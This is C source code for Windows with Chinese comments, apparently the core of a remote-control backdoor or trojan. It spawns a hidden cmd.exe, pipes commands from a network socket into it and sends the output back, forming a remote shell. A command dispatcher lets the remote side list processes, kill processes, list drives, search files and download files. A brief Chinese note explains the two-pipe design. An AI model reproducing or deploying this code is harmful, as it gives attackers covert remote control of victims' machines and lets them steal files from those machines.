DWORD WINAPI DoublePipe(LPVOID p)
{
BOOL DataSend;
int SendDataLen = 0;
char cmdline[1024];
char PipeBuffer[1024];
HANDLE hRead2;
HANDLE hWrite2;
SECURITY_ATTRIBUTES sa2; //这个结构为很多函数创建对象时提供安全性设置。
STARTUPINFO si; //用于指定新进程的主窗口特性的一个结构。
PROCESS_INFORMATION pi; //在创建进程时相关的数据结构之一,该结构返回有关新进程及其主线程的信息。
BOOL Result;
DWORD bytesRead;
int ReadLen = 0; //已读数据长度
struct Socket_Recv* Information = p;
do
{
SecureZeroMemory(cmdline, sizeof(cmdline));
SecureZeroMemory(&si, sizeof(si));
SecureZeroMemory(PipeBuffer, sizeof(PipeBuffer));
sa2.nLength = sizeof(SECURITY_ATTRIBUTES);
sa2.lpSecurityDescriptor = NULL;
sa2.bInheritHandle = TRUE;
CreatePipe(&hRead2, &hWrite2, &sa2, 0);
si.cb = sizeof(STARTUPINFO);
GetStartupInfo(&si); //WindowsAPI函数。该函数取得进程在启动时被指定的 STARTUPINFO 结构。
si.hStdError = hWrite2;
si.hStdOutput = hWrite2;
si.hStdInput = Information->hRecvData;
si.wShowWindow = SW_HIDE;
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
GetSystemDirectory(cmdline, MAX_PATH + 1); //取得Windows系统目录(System目录)的完整路径名。
strcat_s(cmdline, sizeof(cmdline), "\\cmd.exe");
Result = CreateProcess(NULL, cmdline, NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
if (Result == 0)
{
printf("Error code is %u", GetLastError());
break;
}
while (1)
{
Result = PeekNamedPipe(hRead2, PipeBuffer, sizeof(PipeBuffer) - 1, &bytesRead, NULL, NULL);
if (Result == FALSE)
{
printf("PeekNamePipe Faild.");
break;
}
if (bytesRead > 0)
{
Result = ReadFile(hRead2, PipeBuffer, sizeof(PipeBuffer) - 1, &bytesRead, NULL);
if (Result == FALSE)
{
printf("ReadFile Faild.");
break;
}
PipeBuffer[bytesRead] = 0;
printf("%s", PipeBuffer);
SendDataLen = strlen(PipeBuffer) + 1;
DataSend = SendPacket(Information->socket, PipeBuffer, SendDataLen);
if (DataSend == FALSE)
{
printf("Send Pipe Information faild !\n");
printf("The connection is closed !\n");
break;
}
}
}
} while (0);
CloseHandle(hWrite2);
CloseHandle(hRead2);
CloseHandle(Information->hRecvData);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
closesocket(Information->socket);
return 0;
}
DWORD WINAPI RecvData(LPVOID p)
{
int DataRecv;
int RecvLen = 1024;
int IDRecvLen = 16;
HANDLE hNamePipe;
DWORD bytesRead;
BOOL Result;
DWORD ReturnValue;
HANDLE hRead1;
HANDLE hWrite1;
SECURITY_ATTRIBUTES sa1;
struct Socket_Recv Information;
Information.socket = (SOCKET)p;
do
{
sa1.nLength = sizeof(SECURITY_ATTRIBUTES);
sa1.lpSecurityDescriptor = NULL;
sa1.bInheritHandle = TRUE;
CreatePipe(&hRead1, &hWrite1, &sa1, 0);
Information.hRecvData = hRead1;
CreateThread(NULL, 0, DoublePipe, &Information, 0, NULL);
while (1)
{
RecvLen = sizeof(Information.recvbuffer) - 1;
DataRecv = RecvPacket(Information.socket, Information.recvbuffer, &RecvLen);
if (DataRecv == FALSE)
{
printf("Data receive faild !\n");
break;
}
printf("%s\n", Information.recvbuffer);
Information.recvbuffer[RecvLen] = 0;
if (Information.recvbuffer[0] == '/')
{
if (Information.recvbuffer[1] == 'p' &&
Information.recvbuffer[2] == 'r' &&
Information.recvbuffer[3] == 'o' &&
Information.recvbuffer[4] == 'c' &&
Information.recvbuffer[5] == '\0')
{
CreateThread(NULL, 0, ListProcess, (LPVOID)Information.socket, 0, NULL);
}
else if (
Information.recvbuffer[1] == 'k' &&
Information.recvbuffer[2] == 'i' &&
Information.recvbuffer[3] == 'l' &&
Information.recvbuffer[4] == 'l' &&
Information.recvbuffer[5] == ' ')
{
strncpy_s(Information.ProcessID, sizeof(Information.ProcessID), Information.recvbuffer + 6, sizeof(Information.ProcessID) - 1);
printf("%s\n", Information.ProcessID);
ReturnValue = StrToIntA((PCSTR)Information.ProcessID);
Result = KillProc(ReturnValue);
if (Result == FALSE)
{
printf("Kill Process Faild.\n");
}
}
else if (
Information.recvbuffer[1] == 'd' &&
Information.recvbuffer[2] == 'r' &&
Information.recvbuffer[3] == 'i' &&
Information.recvbuffer[4] == 'v' &&
Information.recvbuffer[5] == 'e' &&
Information.recvbuffer[6] == 'r' &&
Information.recvbuffer[7] == '\0')
{
CreateThread(NULL, 0, DriverList, (LPVOID)Information.socket, 0, NULL);
}
else if (
Information.recvbuffer[1] == 'f' &&
Information.recvbuffer[2] == 'f' &&
Information.recvbuffer[3] == ' ')
{
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)FindFile, &Information, 0, NULL);
}
else if (
Information.recvbuffer[1] == 'd' &&
Information.recvbuffer[2] == 'l' &&
Information.recvbuffer[3] == ' ')
{
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)FileDownload, &Information, 0, NULL);
}
}
else
{
strcat_s(Information.recvbuffer, sizeof(Information.recvbuffer), "\r\n");
printf("%s\n", Information.recvbuffer);
WriteFile(hWrite1, Information.recvbuffer, strlen(Information.recvbuffer), &bytesRead, NULL);
}
}
} while (0);
closesocket(Information.socket);
printf("The connection is closed !\n");
WSACleanup();
return 0;
}
使用两个匿名管道(pipe)实现双向通信。
pipe1连接接收数据的缓冲区和cmd进程的hStdInput;
pipe2连接cmd进程的hStdError、hStdOutput和发送数据的缓冲区,以便让服务端获得回显。